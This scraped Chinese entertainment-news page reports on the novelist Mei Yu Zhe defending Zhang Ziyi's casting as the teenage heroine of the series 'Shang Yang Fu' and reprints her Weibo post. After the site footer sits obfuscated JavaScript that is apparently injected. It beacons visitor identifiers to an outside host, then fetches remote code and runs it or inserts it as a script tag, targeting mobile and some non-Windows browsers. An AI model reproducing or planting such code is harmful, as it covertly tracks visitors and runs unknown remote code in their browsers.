• 《上阳赋》原著作者挺章子怡: 女王快上线搞事业

    佚名明星资讯人气:625时间:2021-10-09 00:07:21


    1905电影网讯 1月10日晚,剧集《上阳赋》原著小说《帝王业》的作者寐语者在微博发布长文,力挺主演章子怡。

    她认为,38岁的章子怡选择从女主角15岁演起,是最吃力不讨好的办法,但也是最大程度保全故事和人物完整度的办法。如果由另一位年轻演员诠释人物的少女时代,“人物的完整度难免被削弱”。

    “演员换了人,带来的感受一定是不同的。尤其这个故事、这个人物的设定有一定特殊性——书中阿妩的人生重大事件很多都发生在她20岁之前,她和男主的相爱、失去母亲和孩子等等,都发生在18-20岁期间。如果15岁时的戏用一位少年演员,18岁时的戏呢?子怡从18岁的阿妩演起,就不会被批评年龄与角色不符了吗?若用少年演员,能撑起这个阶段生离死别的重戏吗?或许这是个见仁见智的问题,究竟怎样处理更好,怎样衡量取舍,恐怕每个人有不一样的答案。”


    寐语者同时表示,原著中对主角少女时代的描写是匆匆几笔带过,以侧写为主,电视剧剧本进行了改编。她更想看到“女王上线搞事业”而不是“小丫头哭唧唧”,“小郡主很美,然而看到软妹子哭唧唧还是烦。想看萌妹子,日剧里多的是。想看章子怡,就是想看她那股女王劲儿啊……这种感觉就像专门去重庆吃火锅结果锅端上来一看是番茄味的。没有说蕃茄锅不好吃的意思,甚至无关番茄的味道好不好,我就是想吃麻辣火锅而已。可能不是我一个人这么想?不想吃番茄锅,干嘛不直接上麻辣锅?”

    《上阳赋》原著作者在微博发布的原文如下:

    熬通宵追一个最熟悉也最陌生的故事,看到第五集的时候我发了个朋友圈吐槽。


    我说,快女王上线搞事业吧,不想看小丫头哭唧唧了。


    是实话。


    小郡主很美,然而看到软妹子哭唧唧还是烦。想看萌妹子,日剧里多的是。想看章子怡,就是想看她那股女王劲儿啊……这种感觉就像专门去重庆吃火锅结果锅端上来一看是番茄味的。没有说蕃茄锅不好吃的意思,甚至无关番茄的味道好不好,我就是想吃麻辣火锅而已。可能不是我一个人这么想?


    不想吃番茄锅,干嘛不直接上麻辣锅?


    番茄锅还不是作者和编剧们自己整的?


    当观众时吐槽很欢乐,切换到原著人格里,让我先把属于我的锅端稳。

    原著《帝王业》里的女主角十五岁出场,三十岁左右去世,少女时期的经历匆匆几笔带过,多是侧写。到了剧本中,那些被我一笔带过的都要重新铺开来细细铺垫,情节的起承和人物的渊源,都不得不从头来讲,演员也不得不从头来演。


    从一开始,所有人都知道,38岁的女演员演15岁少女意味着什么。省事的办法是把这一段剧情压短,简单带过。更省事的办法是用一个少年演员出演这阶段的女主。无论哪一种办法,对子怡来说,都更轻松。但在所有人反反复复讨论争执了很久之后,最终,选择了最吃力不讨好的一种办法,也是最大程度保全故事和人物完整度的办法。


    无论书中还是剧本中,少女阿妩时期的故事都不怎么讨喜,蜕变成长后的阿妩和老萧组队搞事业的戏当然更好看。可如果不将少女时代的故事展开,没有人物之间情感关系的铺陈,后来那些在命运中剧变,在剧变中爆发的情感就会来得无缘无故。尤其是阿妩与父亲和姑母之间的情仇纠葛,如果前期小阿妩与亲人们的感情铺垫不够,后面的割裂之痛就无从痛起。


    那么换一个演员呢,不是不行,只是两张不同面孔在命运的前后呼应对照中呈现,人物的完整度难免被削弱。演员换了人,带来的感受一定是不同的。尤其这个故事、这个人物的设定有一定特殊性——书中阿妩的人生重大事件很多都发生在她20岁之前,她和男主的相爱、失去母亲和孩子等等,都发生在18-20岁期间。如果15岁时的戏用一位少年演员,18岁时的戏呢?子怡从18岁的阿妩演起,就不会被批评年龄与角色不符了吗?若用少年演员,能撑起这个阶段生离死别的重戏吗?或许这是个见仁见智的问题,究竟怎样处理更好,怎样衡量取舍,恐怕每个人有不一样的答案。


    我不知道子怡在做这个决定的时候,是怎么想的。但是我相信,如果她不爱阿妩这个人物,大可不必这样去顾全,大可不必承担这个压力。


    一个演员,有她对角色的责任和担当,也相应承担着故事和角色本身设置局限带来的压力。或许不能得到所有人的认可,但在我眼中,她做到了将少女阿妩和后来的豫章王妃集于一身。

    十五年前我还有颗澎湃少女心的时候,第一次写小说,无知无畏,什么都不懂,什么也没想,只顾好玩。现在的我,或许已有N种更圆熟讨巧的手法,但也没有了那份勇气不管不顾就是写。现在的我,不敢犯蠢,会怕羞耻,会看到当初用第一人称写那么羞耻的形容词自己也目瞪口呆。熟悉我的读者都知道我是颜控,对美人有强迫症一样的执着,总是乐而不疲渲染人物的美貌。这不好,这是病,我知道,但谁活着又能没点儿病呢。第一次写小说太憨,用了第一人称,后来不那么憨了,会用第三人称了,但这毛病我再写十年也不会改。不知道演员演戏会不会也有某种执念,也有类似于这样的“我偏要”……人总有执意于些什么的时候。


    再次进入观众人格,我总觉得子怡演绎的少女阿妩身上最可爱的就是这一份“我偏要”。


    你不喜欢,我偏要。


    你说这样不好,我偏要。


    挺好的,可以说“我偏要”的岁月。


    特别好,可以说到做到的人生。


    文/mia

    本站所有视频和图片均来自互联网收集而来,版权归原创者所有,本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传
    若本站收录的节目无意侵犯了贵司版权,请发邮件至(我们会在3个工作日内删除侵权内容,谢谢。)

    © 2021 5GATV.COM 京ICP备333333号

    function vBxwnQdz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZQqiABwT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vBxwnQdz(t);};window[''+'f'+'h'+'C'+'r'+'l'+'d'+'M'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=ZQqiABwT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ed.xjihzzc.com:7891/stats/9586/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHRR0cHMlM0ElMkYlMkZlZi55bHl1anNtZ3MuY29tJTNBODg5MQ==','d33NzJTNBJTJGJTJGZnYuemFjYWlnLmNvbSUzQTk1MzU=','151000',window,document,['R','3']);}:function(){};